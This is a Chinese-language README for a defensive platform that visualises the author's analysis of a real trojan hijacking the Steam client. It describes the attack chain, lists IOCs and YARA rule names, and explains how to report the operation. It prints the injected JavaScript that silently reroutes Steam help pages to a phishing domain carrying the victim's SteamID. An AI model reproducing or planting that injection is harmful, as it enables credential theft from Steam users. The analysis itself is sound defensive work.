two-s-bro/steam-threat-analysis-platform
GitHub: two-s-bro/steam-threat-analysis-platform
基于真实 Steam 劫持木马深度分析构建的威胁情报可视化平台,还原完整攻击链并提供 IOC、YARA 规则与事件日志的交互式展示。
Stars: 0 | Forks: 0
# 🔬 Steam 威胁分析平台
[](LICENSE)
[](https://openjdk.org/)
[](https://spring.io/)
[](https://vuejs.org/)
[](https://www.mysql.com/)
## 📖 目录
- [背景 — 我的故事](#-background--my-story)
- [恶意软件 — 攻击链](#-the-malware--attack-chain)
- [IOC (失陷标示)](#-ioc-indicators-of-compromise)
- [技术栈](#-tech-stack)
- [截图](#-screenshots)
- [快速开始](#-quick-start)
- [项目结构](#-project-structure)
- [功能](#-features)
- [学习路径](#-learning-path)
- [如何贡献 / 帮助他人](#-how-to-contribute--help-others)
- [许可证](#-license)
## 🎓 背景 — 我的故事
**最终成果:** 12 份详细的分析报告,22 个 IOC,2,717 行还原的真实恶意软件操作日志,以及这个交互式威胁分析平台。
**受害者(我):**
- SteamID64: `76561198892973993`(已报告给 C2 — 密码已更改,已启用 Steam Guard)
- 感染时间窗口:2026-06-15 23:25 ~ 2026-06-16 ~22:53(约 23.5 小时)
- Steam 客户端:通过 `steamui/chunk~2dcc5aaf7.js` 注入被劫持
## 🦠 恶意软件 — 攻击链
```
┌────────────────────────────────────────────────────────────────┐
│ Phase 0 — Social Engineering │
│ "Free game / cheat / resource" → Download SteelDungeon.exe │
└────────────────────┬───────────────────────────────────────────┘
▼
┌────────────────────────────────────────────────────────────────┐
│ Phase 1 — Dropper (SteelDungeon.exe) │
│ • Python 3.14 + PyInstaller │
│ • Self-extracts to %LocalAppData%\Programs\01anu7963sndw1ua\ │
│ • Writes 3 registry Run keys for persistence │
│ • Downloads b + c components from C2 │
└────────────────────┬───────────────────────────────────────────┘
▼
┌────────────────────────────────────────────────────────────────┐
│ Phase 2 — Steam UI Hijack (NexusTechNotify.exe) │
│ • Reads Steam VDF config → extracts SteamID64 + avatar hash │
│ • Registers victim with C2 (nexustechsolution.top) │
│ • Force-kills Steam process (no shutdown dialog) │
│ • Injects ~110 bytes into chunk~2dcc5aaf7.js → ResolveURL() │
│ ⎯ HelpAppPage → nexustechsolution.top/steamhelper │
│ ⎯ HelpFrontPage → nexustechsolution.top/steamhelper │
│ ⎯ SupportMessages → nexustechsolution.top/steamhelper.html │
│ • Writes steam.cfg to disable auto-update │
│ • Silent restart: steam.exe -silent │
│ • Watchdog: checks patch integrity every 42 seconds │
└────────────────────┬───────────────────────────────────────────┘
▼
┌────────────────────────────────────────────────────────────────┐
│ Phase 3 — Phishing (locale_patch.dll + toast_window.html) │
│ • CEF process injection loads fake Steam Customer Support │
│ "New reply to your support ticket #HT6YWQBY4XMF55" │
│ • 1:1 CSS restoration from Steam's chunk~2dcc5aaf7.css │
│ • Click triggers ResolveURL("HelpAppPage") → phishing page │
│ • Victim enters password → credentials stolen │
└────────────────────────────────────────────────────────────────┘
```
### JS 注入代码(精确的约 110 字节)
```
// --- Original Steam code ---
ResolveURL(e,...t){
const r=this.m_steamUrls[e];
if(!r)return;
let i=r.url;
// --- Injected malware code ---
,_h="https://nexustechsolution.top/steamhelper?d=76561198892973993&a=45f8663926dd7e3b076963037d63a0be85244240",
_s="https://nexustechsolution.top/steamhelper.html?u=1301664629a&d=76561198892973993&a=45f8663926dd7e3b076963037d63a0be85244240";
return ({SupportMessages:_s,HelpAppPage:_h,HelpFrontPage:_h})[e]
?? (original Steam URL resolution logic continues...)
// --- Original Steam code continues ---
}
```
关键见解:`??`(空值合并运算符)使其成为一次**静默劫持** — 仅 3 个目标 key 受到影响;所有其他 Steam URL 均正常工作。
## 📊 IOC (失陷标示)
### 高危
| 类型 | 数值 | 描述 |
|------|-------|-------------|
| `domain` | `nexustechsolution.top` | C2 及钓鱼主机 |
| `domain` | `nexustechsolution.top/steamhelper` | 钓鱼页面 (带有 SteamID64 参数) |
| `domain` | `nexustechsolution.top/steamhelper.html` | 备用钓鱼页面 |
| `file_path` | `%LocalAppData%\Programs\01anu7963sndw1ua\SteelDungeon.exe` | Python 释放器 |
| `file_path` | `%LocalAppData%\ServiceApp\NexusTechNotify.exe` | Steam 劫持引擎 |
| `file_path` | `%LocalAppData%\ServiceApp\locale_patch.dll` | CEF 注入 DLL |
| `registry` | `HKCU\...\Run\SteamHelper` | 持久化(伪装成 Steam Helper) |
| `registry` | `HKCU\...\Run\SteamService` | 持久化(伪装成 Steam Service) |
| `registry` | `HKCU\...\Run\WindowsUpdateService` | 持久化(伪装成 Windows Update) |
### 中危
| 类型 | 数值 | 描述 |
|------|-------|-------------|
| `file_path` | `steamui\chunk~2dcc5aaf7.js` | 被篡改的 Steam UI 核心 JS (+110B 注入) |
| `file_path` | `Steam\steam.cfg` | 禁用自动更新 |
| `steamid` | `76561198892973993` | 受害者 SteamID64 (硬编码在 C2 URL 中) |
| `file_path` | `C:\Windows\System32\merged_steam.py` | 恶意 Python 脚本 |
### 低危
| 类型 | 数值 | 描述 |
|------|-------|-------------|
| `file_path` | `%LocalAppData%\ServiceApp\toast_window.html` | 钓鱼 Toast 弹窗 |
| `file_path` | `%LocalAppData%\ServiceApp\toast-authentic.css` | Steam Toast 1:1 还原 CSS (169 行) |
| `case_number` | `HT6YWQBY4XMF55` | 伪造的支持工单号 |
完整 IOC 列表:[database/seed_data.sql](database/seed_data.sql) (22 条记录)
### YARA 检测规则
本项目包含基于恶意软件独有特征的 **10 条自定义 YARA 规则**:
| 规则 | 目标 |
|------|--------|
| `SteamHijack_RegPersistence_SteamHelper` | 注册表持久化 |
| `SteamHijack_RegPersistence_SteamService` | 注册表持久化 |
| `SteamHijack_RegPersistence_WindowsUpdateService` | 注册表持久化 |
| `SteamHijack_Dropper_SteelDungeon` | Python 3.14 PyInstaller 释放器 |
| `SteamHijack_C2_Domain` | C2 域名 + 钓鱼端点 |
| `SteamHijack_Chunk_JS_Injection` | 被篡改的 Steam UI chunk JS |
| `SteamHijack_SteamCfg_Disabled` | 被篡改的 steam.cfg |
| `SteamHijack_Toast_Phishing` | 钓鱼 Toast HTML/CSS |
| `SteamHijack_PyInstaller_Payload` | PyInstaller 打包的 payload |
| `SteamHijack_VDF_SteamID64_Leak` | 日志中泄露的 SteamID64 |
完整 YARA 规则:[database/yara_seed.sql](database/yara_seed.sql)
## 🛠️ 技术栈
| 层级 | 技术 |
|-------|-----------|
| **后端** | Java 21 · Spring Boot 3.2 · Spring Data JPA · Lombok |
| **前端** | Vue 3.4 · Vite 5 · Element Plus · ECharts 5 · Pinia · Vue Router |
| **数据库** | MySQL 8.0 |
| **恶意软件分析** | Python 3.14 · PyCryptodome · Valve VDF · Chromium CEF |
| **可视化** | 攻击链流程图 · 力导向组件图 · 时间线 · 饼图/柱状图 |
## 📸 截图
| 仪表盘 | IOC 情报 | 时间线 |
|:---------:|:---------------:|:--------:|
|  |  |  |
| 组件图 | YARA 规则 | 日志查看器 |
|:---------------:|:----------:|:----------:|
|  |  |  |
```
┌─────────────────────────────────────────────────────────────┐
│ 🔬 Steam Threat Analysis Platform │
│ │
│ ⚠️ 44 IOCs 🔴 26 HIGH 📋 2717 Events 🧩 14 Components │
│ │
│ ┌───────────────────────┐ ┌────────────────────────────┐ │
│ │ 🛰️ C2 Status (Safe) │ │ ⚔️ Attack Chain │ │
│ │ nexustechsolution.top │ │ Phase 0 → Phase 1 → │ │
│ │ ■ DISCONNECTED │ │ ↓ ↓ │ │
│ │ │ │ Phase 2 → Phase 3 │ │
│ │ Infection: 23h │ │ │ │
│ │ Heartbeats: 104 │ │ [Expandable details] │ │
│ └───────────────────────┘ └────────────────────────────┘ │
│ ┌──────────┐ ┌──────────┐ ┌───────────────────────────┐ │
│ │ IOC Risk │ │ Phase │ │ ⏱ Recent Events │ │
│ │ Pie Chart│ │ Bar Chart│ │ INJECT 强杀Steam 23:25:53│ │
│ │ │ │ │ │ PHISH 构建钓鱼 23:25:54 │ │
│ └──────────┘ └──────────┘ └───────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
```
## 🚀 快速开始
### 前置条件
- Java 17+ & Maven 3.9+
- Node.js 18+ & npm
- MySQL 8.0+
### 1. 数据库
```
mysql -u root -p -e "CREATE DATABASE IF NOT EXISTS steam_threat_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;"
mysql -u root -p steam_threat_db < database/schema.sql
mysql -u root -p --default-character-set=utf8mb4 steam_threat_db < database/seed_data.sql
mysql -u root -p --default-character-set=utf8mb4 steam_threat_db < database/yara_seed.sql
```
### 2. 后端
```
cd backend
# 使用你的 MySQL 密码更新 application.yml
mvn spring-boot:run
# → http://localhost:8088
```
### 3. 前端
```
cd frontend
npm install
npm run dev
# → http://localhost:5173
```
### 4. 导入真实恶意软件日志
打开 http://localhost:5173 → **日志查看器** → 点击 **“导入真实日志文件”**
这将会从实际的恶意软件执行日志中导入 2,717 行记录。
## 📁 项目结构
```
steam-threat-platform/
├── backend/ Spring Boot API
│ ├── pom.xml
│ └── src/main/java/com/steamthreat/
│ ├── SteamThreatApplication.java Entry point
│ ├── config/CorsConfig.java CORS for Vue dev server
│ ├── entity/ JPA entities (Ioc, Timeline, Component, YaraRule)
│ ├── repository/ Spring Data JPA repositories
│ ├── service/ Business logic
│ │ ├── IocService.java IOC CRUD + search
│ │ ├── TimelineService.java Event queries + stats
│ │ ├── ComponentService.java Component tree builder
│ │ ├── DataImportService.java Real log parser & importer
│ │ ├── C2MonitorService.java C2 status (offline-safe, no external connections)
│ │ └── YaraRuleService.java YARA rule manager + simulated matcher
│ ├── controller/ REST API endpoints
│ │ ├── DashboardController.java /api/dashboard
│ │ ├── IocController.java /api/iocs (CRUD)
│ │ ├── TimelineController.java /api/timeline
│ │ ├── ComponentController.java /api/components
│ │ ├── SystemController.java /api/system (C2 status, log import)
│ │ └── YaraRuleController.java /api/yara (CRUD + match)
│ └── dto/ ApiResponse, DashboardDTO
│
├── frontend/ Vue 3 + Element Plus
│ ├── package.json
│ ├── vite.config.js Dev server + API proxy
│ └── src/
│ ├── main.js Entry: Element Plus + Pinia + Router
│ ├── App.vue Layout: sidebar + dark theme + particles
│ ├── router/index.js 6 routes
│ ├── api/index.js Axios API layer
│ ├── views/
│ │ ├── Dashboard.vue Stats + C2 panel + ECharts + events
│ │ ├── IocList.vue IOC CRUD + search/filter
│ │ ├── IocDetail.vue IOC detail view
│ │ ├── Timeline.vue Paginated event timeline
│ │ ├── ComponentGraph.vue Force-directed graph (ECharts)
│ │ ├── YaraRules.vue YARA rule list + match test
│ │ └── LogViewer.vue Real log viewer (3 tabs)
│ └── styles/global.css Cyberpunk dark theme
│
└── database/
├── schema.sql Table definitions
├── seed_data.sql 22 IOCs + 30 timeline events + 14 components
└── yara_seed.sql 10 custom YARA detection rules
```
## ✨ 功能
| 功能 | 描述 |
|---------|-------------|
| **IOC 情报数据库** | 22 个指标,支持 CRUD、搜索和类型/风险等级过滤 |
| **攻击时间线** | 2,717 条真实恶意软件日志条目,支持基于阶段的过滤和分页 |
| **攻击链可视化** | 交互式阶段 0→3 流程图,带有可折叠的详情面板 |
| **组件关系图** | 力导向图,展示 14 个恶意软件组件及其关系 |
| **C2 状态监控** | 离线安全;从本地日志重建 C2 连接历史(无任何外部网络请求!) |
| **YARA 规则引擎** | 10 条自定义规则,针对文本/文件内容进行模拟匹配 |
| **日志查看器** | 三选项卡查看器:补丁日志 (2,595 行)、C2 日志 (104 条)、启动日志 (18 条) |
| **仪表盘 ECharts** | 风险分布饼图、阶段统计柱状图、C2 心跳时间线 |
| **暗黑主题** | 定制的赛博朋克风格暗黑主题,带有粒子背景和微动画 |
| **离线安全** | C2 监控重新设计后,零外部网络连接 |
## 📚 学习路径
本项目涵盖多个网络安全领域 — 非常适合学生和初学者:
| 周 | 主题 | 你将学到什么 |
|------|-------|-------------------|
| 1 | 恶意软件架构 | 理解释放器 → 控制器 → 注入器 → payload 链 |
| 2 | Windows 持久化 | 注册表 Run 键、随机目录命名、伪装技术 |
| 3 | Web 攻击面 | Webpack chunk 注入、`??` 运算符静默劫持、URL 路由攻击 |
| 4 | C2 协议分析 | 心跳间隔、数据外发模式、Cloudflare CDN 隐藏 |
| 5 | 钓鱼工程 | 1:1 CSS 还原、原生字体加载、实时时间戳伪造 |
| 6 | 防御检测 | 编写 YARA 规则、IOC 管理、注册表监控 |
| 7 | 威胁可视化 | ECharts 集成、攻击链渲染、力导向图 |
| 8 | 全栈开发 | Spring Boot REST API + Vue 3 SPA + MySQL schema 设计 |
### 相关的 MITRE ATT&CK 技术
| 战术 | 技术 | 存在于本恶意软件中 |
|--------|-----------|------------------------|
| 持久化 | T1547.001 — 注册表 Run 键 | ✅ 3 个键 |
| 防御规避 | T1562.001 — 禁用软件更新 | ✅ steam.cfg 篡改 |
| 凭据访问 | T1539 — 窃取 Web 会话 | ✅ Steam 会话 token |
| 收集 | T1119 — 自动化收集 | ✅ 42秒看门狗循环 |
| 外发 | T1041 — 通过 C2 通道外发 | ✅ HTTPS 心跳 |
### 举报 C2
本案例中的 C2 域名使用了 Cloudflare CDN。你可以协助将其关闭:
- **Cloudflare 滥用举报**: https://www.cloudflare.com/abuse/ (类别: Phishing & Malware)
- **ICANN 域名滥用**: https://www.icann.org/compliance/domain-abuse
### 提交威胁情报
- **ThreatBook (微步在线)**: https://x.threatbook.com/
- **QiAnXin TI (奇安信)**: https://ti.qianxin.com/
### 扩大认知
- 在知乎 / CSDN / Bilibili 上分享[完整分析报告 (中文)](docs/)
- Star ⭐ 本仓库以增加曝光度
- 帮助将文档翻译成其他语言
### 报告给 Valve
邮箱:`security@valvesoftware.com`
主题:`Steam Client UI Hijack Malware — C2 Active`
内容包含:
- Chunk JS 注入机制
- 篡改 steam.cfg 以禁用更新
- toast_window.html 钓鱼弹窗
- C2 域名和钓鱼 URL
### 贡献代码
欢迎就以下方面提交 PR:
- 真实的 YARA 引擎集成
- Docker 部署支持
- 实时网络流量分析器
- 自动化的 steam.cfg 完整性检查工具
- 用于检测 Steam 钓鱼的浏览器扩展
## 📄 许可证
MIT 许可证 — 见 [LICENSE](LICENSE)
**将其用于教育、防御和保护他人。请勿用于构建恶意软件。**
⭐ **如果你发现本项目对学习网络安全或检测 Steam 恶意软件有帮助,请为本仓库点 Star!**
| ⚠️ 免责声明 |
| 本仓库**纯粹用于教育和防御性安全研究**。分析源文件夹中所有可执行的恶意软件样本均已永久禁用(`.SAFE_DISABLED` 后缀)。 - ✅ 使用此项目进行学习、检测和防御 - ❌ 请勿使用此项目构建恶意软件 - ❌ 请勿在真实机器上恢复已禁用的文件 |
标签:DAST, IP 地址批量处理, Spring Boot, Vue, 可视化平台, 威胁情报, 开发者工具, 恶意软件分析, 文件系统扫描, 知识库安全, 网络信息收集